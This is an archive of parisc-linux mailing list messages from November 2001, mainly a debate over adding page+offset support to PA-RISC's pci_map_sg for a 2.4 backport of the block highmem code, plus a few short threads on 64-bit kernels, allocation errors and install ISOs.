> This makes merging of Jen's Axboe's block highmem code back into
> 2.4.x painless.  That is why.

so when jens' code is merged back into 2.4 we won't have to make any
changes to the arch dependent code?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 07:33:28 -0800 (PST)
Lines: 19
Approved: news@gmane.org
Message-ID: <20011116.073328.129356309.davem@redhat.com>
References: <20011116150454.J25491@parcelfarce.linux.theplanet.co.uk>
	<20011116.071751.12999342.davem@redhat.com>
	<20011116152601.K25491@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620766 30126 80.91.229.3 (22 Nov 2014 01:46:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:06 +0000 (UTC)
Cc: grundler@puffin.external.hp.com, linux-mm@kvack.org,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 08:33:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B8F4482D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 08:33:35 -0700 (MST)
Original-Received: from localhost (IDENT:davem@pizda.ninka.net [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id HAA03832;
	Fri, 16 Nov 2001 07:33:28 -0800
In-Reply-To: <20011116152601.K25491@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Mew version 2.0 on Emacs 21.0 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13089

   From: Matthew Wilcox <willy@debian.org>
   Date: Fri, 16 Nov 2001 15:26:01 +0000
   
   so when jens' code is merged back into 2.4 we won't have to make any
   changes to the arch dependent code?
   
Part of the criteria to whether we merge back Jens' code is
if the ports, given reasonable notice (ie. take this as your notice)
have added in the support for page+offset pairs to their pci_map_sg
code.

I suggest you do this now, it is totally painless.  I would almost
classify it as a mindless edit.

Franks a lot,
David S. Miller
davem@redhat.com



From - Thu Nov 08 21:20:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] slick!
Date: Fri, 16 Nov 2001 10:37:28 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.33.0111161032560.8563-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620766 30129 80.91.229.3 (22 Nov 2014 01:46:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:06 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 08:37:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.calyx.net (mail.calyx.com [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id AB689482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 08:37:30 -0700 (MST)
Original-Received: (qmail 9757 invoked from network); 16 Nov 2001 15:37:29 -0000
Original-Received: from mojo.calyx.com (HELO mojo) (rbai3a7g8a0pghfoga0t@216.82.160.22)
  by mail.calyx.com with SMTP; 16 Nov 2001 15:37:29 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13090


My compliments on the current ISOs.  I got bit when upgrading
my very crusty system, and decided to reinstall (no important data).
I have no CD but managed to use the network ISO image to do
a bootp/NFS install and it was even more painless than i386 is
these days.  Congrats.

P.S. Only one snag -- when using a HIL keyboard, skip the initial
keyboard setup or you end up with no curcor keys.

--
Brian S. Julin




From - Thu Nov 08 21:20:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit kernels boot on C200 (finally) :)
Date: Fri, 16 Nov 2001 17:37:40 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <20011116173740.A7011@marmite.its.uct.ac.za>
References: <20011115123203.A2337@beavis.ybsoft.com> <20011115200102.E25491@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620766 30138 80.91.229.3 (22 Nov 2014 01:46:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 08:37:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F1A8482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 08:37:51 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with smtp (Exim 3.33 #4)
	id 164l5N-000GTq-00
	for parisc-linux@lists.parisc-linux.org; Fri, 16 Nov 2001 17:39:21 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id C2E9F1A394; Fri, 16 Nov 2001 17:37:40 +0200 (SAST)
Content-Disposition: inline
In-Reply-To: <20011115200102.E25491@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13091

On Thu, Nov 15, 2001 at 08:01:02PM +0000, Matthew Wilcox wrote:
> On Thu, Nov 15, 2001 at 12:32:03PM -0700, Ryan Bradetich wrote:
> > It is not perfect yet, still have a couple of bugs to work
> > out and fix:
> > 	1. sys32_ioctl: Unknown cmd fd(3) cmd(00004b50) arg(faf00788)
> > 	2. the ncr720 driver seemed to hang when I had a disk
> > 	   attached behind the bluefish card.
> > 
> > but here it is:
> > 
> > demo@vega:~$ uname -a
> > Linux vega 2.4.14-pa1 #2 Thu Nov 15 12:08:07 MST 2001 parisc64 unknown
> 
> i'm surprised the network works given the number of warnings
> when compiling lasi_82596.c with a 64-bit compiler.

The last time I tried a 64 bit kernel with lasi_82596.c (a few
weeks ago), the network card would not work.  When the driver
loaded it complained that sizeof(somestruct) was 64.  I had a
look at the code and saw that it was expecting it to be 32.

I've been using 32 bit kernels since then.  I don't think
lasi_82596.c has changed significantly since I last tried it in
a 64 bit kernel.

This was on a D270.

-- 
Michael Wood <mwood@its.uct.ac.za>



From - Thu Nov 08 21:20:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 15:43:50 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20011116154350.L25491@parcelfarce.linux.theplanet.co.uk>
References: <20011116150454.J25491@parcelfarce.linux.theplanet.co.uk> <20011116.071751.12999342.davem@redhat.com> <20011116152601.K25491@parcelfarce.linux.theplanet.co.uk> <20011116.073328.129356309.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620766 30142 80.91.229.3 (22 Nov 2014 01:46:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:06 +0000 (UTC)
Cc: willy@debian.org, grundler@puffin.external.hp.com,
	linux-mm@kvack.org, parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 08:43:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5209D482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 08:43:51 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 164l9i-0002NX-00; Fri, 16 Nov 2001 15:43:50 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011116.073328.129356309.davem@redhat.com>; from davem@redhat.com on Fri, Nov 16, 2001 at 07:33:28AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13092

On Fri, Nov 16, 2001 at 07:33:28AM -0800, David S. Miller wrote:
>    From: Matthew Wilcox <willy@debian.org>
>    Date: Fri, 16 Nov 2001 15:26:01 +0000
>    
>    so when jens' code is merged back into 2.4 we won't have to make any
>    changes to the arch dependent code?
>    
> Part of the criteria to whether we merge back Jens' code is
> if the ports, given reasonable notice (ie. take this as your notice)
> have added in the support for page+offset pairs to their pci_map_sg
> code.
> 
> I suggest you do this now, it is totally painless.  I would almost
> classify it as a mindless edit.

grant suggested adding support for it had performance implications,
so he wasn't willing to let me make that edit.  i'm not sure i entirely
understand the new scheme either.  the danger of updating code without
updating its supporting documentation.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 07:47:46 -0800 (PST)
Lines: 11
Approved: news@gmane.org
Message-ID: <20011116.074746.133020969.davem@redhat.com>
References: <20011116152601.K25491@parcelfarce.linux.theplanet.co.uk>
	<20011116.073328.129356309.davem@redhat.com>
	<20011116154350.L25491@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620767 30145 80.91.229.3 (22 Nov 2014 01:46:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:07 +0000 (UTC)
Cc: grundler@puffin.external.hp.com, linux-mm@kvack.org,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 08:47:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id A32D6482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 08:47:55 -0700 (MST)
Original-Received: from localhost (IDENT:davem@pizda.ninka.net [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id HAA09644;
	Fri, 16 Nov 2001 07:47:47 -0800
In-Reply-To: <20011116154350.L25491@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Mew version 2.0 on Emacs 21.0 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13093

   From: Matthew Wilcox <willy@debian.org>
   Date: Fri, 16 Nov 2001 15:43:50 +0000
   
   grant suggested adding support for it had performance implications,
   so he wasn't willing to let me make that edit.  i'm not sure i entirely
   understand the new scheme either.  the danger of updating code without
   updating its supporting documentation.

If "address" is NULL, use page+offset.  It's pretty simple.



From - Thu Nov 08 21:20:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 09:32:52 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <200111161632.JAA25977@puffin.external.hp.com>
References: <davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620767 30148 80.91.229.3 (22 Nov 2014 01:46:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:07 +0000 (UTC)
Cc: willy@debian.org, linux-mm@kvack.org,
	parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 09:37:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3C78482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 09:37:56 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA25977;
	Fri, 16 Nov 2001 09:32:52 -0700
In-Reply-To: Message from "David S. Miller" <davem@redhat.com> 
   of "Fri, 16 Nov 2001 07:33:28 PST." <20011116.073328.129356309.davem@redhat.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13094

"David S. Miller" wrote:
> Part of the criteria to whether we merge back Jens' code is
> if the ports, given reasonable notice (ie. take this as your notice)
> have added in the support for page+offset pairs to their pci_map_sg
> code.

That is what willy was talking about.
You asking folks to muck with what's supposed to be working code.

> I suggest you do this now, it is totally painless.  I would almost
> classify it as a mindless edit.

Adding two members to a struct is not the problem.
The problem is revisiting every usage of ->address in the DMA code
and telling driver writers they should be using page+offset.

grant



From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] __alloc_pages errors
Date: Fri, 16 Nov 2001 08:42:32 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20011116084231.R391@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620767 30150 80.91.229.3 (22 Nov 2014 01:46:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:07 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 09:43:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 091AB482C
	for <parisc-linux@parisc-linux.org>; Fri, 16 Nov 2001 09:43:00 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id lnsziaaa for parisc-linux@parisc-linux.org; Fri, 16 Nov 2001 09:37:47 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 164m4W-0002SL-00; Fri, 16 Nov 2001 08:42:32 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13095

For some time now various people have seen these errors in their kernel
logs:

__alloc_pages: 1-order allocation failed.                                       

(sometimes higher order)

Does anyone have any ideas what causes this? They usually seem to be 
harmless, though occasionally they coincide with random segfaults.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 09:44:57 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <200111161644.JAA26017@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620768 30153 80.91.229.3 (22 Nov 2014 01:46:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:08 +0000 (UTC)
Cc: "David S. Miller" <davem@redhat.com>, linux-mm@kvack.org,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 09:49:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B48D482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 09:49:53 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA26017;
	Fri, 16 Nov 2001 09:44:57 -0700
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Fri, 16 Nov 2001 15:43:50 GMT." <20011116154350.L25491@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13096

Matthew Wilcox wrote:
> grant suggested adding support for it had performance implications,

Jens is right to some degree - I'm counting cycles in that code
path since every driver depends on it for every IO request.
Until page/offset completely replaces address, I see a net increase
in cycles for parisc (probably most archs) with only a tangible benefit
for i386. Seems like the burden should be on the i386 folks to not
impact other arches.

My main gripe is adding this to 2.4 seems like the wrong time/place.
I'm happy to revisit this in 2.5.

grant

ps. I still have to go hunt down the discussion jens was referring to.
  Maybe if I understood the direction better, I'd be more receptive.



From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Clement Moyroud <clement@moyroud.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD to download?
Date: Fri, 16 Nov 2001 17:55:18 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <3BF544F6.1010400@moyroud.net>
References: <Pine.LNX.4.33.0111161324250.26804-100000@oden.valhall>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620768 30156 80.91.229.3 (22 Nov 2014 01:46:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: xfs@linux.se
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 09:55:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE36D482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 09:55:30 -0700 (MST)
Original-Received: from moyroud.net (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 0888849C2D; Fri, 16 Nov 2001 17:55:24 +0100 (CET)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011012
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13097

xfs@linux.se wrote:

> Hello!!
> 
> I just got a cdrom to my HpPa 712/60  =).
> For the moment it runs HP/UX (did'nt get linux to boot over network, dont
> know what I did wrong, probably something on my boot-server.
> WellWell...
> 
> I wonder: Is there any url for some install-cd's to download and burn for
> Pa-risc-Linux for HpPa712/60?
> 
> Dont know if it will work ether, becouse my (burned) Hp/UX 10.20-cd will
> not boot... I hope it is wrong on that CD and not something with the
> cdromdrive.
> 

You can download the latest 0.9.2 iso either from the PA-RISC Linux 
Official Website (http://www.parisc-linux.org/release-0.9/index.html) or 
from the ESIEE Team website (http://mkhppa1.esiee.fr/download.html). The 
second url is preferred, it will give us better site stats :)

Clement
PA/Linux ESIEE Team




From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 08:57:54 -0800 (PST)
Lines: 23
Approved: news@gmane.org
Message-ID: <20011116.085754.00483458.davem@redhat.com>
References: <davem@redhat.com>
	<200111161632.JAA25977@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
